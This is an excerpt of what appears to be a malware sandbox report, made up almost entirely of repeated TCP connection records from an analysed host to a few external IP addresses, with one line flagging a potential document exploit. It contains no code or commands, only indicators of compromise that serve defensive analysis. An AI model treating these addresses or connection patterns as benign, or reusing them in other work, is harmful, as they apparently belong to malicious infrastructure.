Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 149.154.167.220:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.39:80
Source: global traffic TCP traffic: 87.120.84.39:80 -> 192.168.2.22:49161
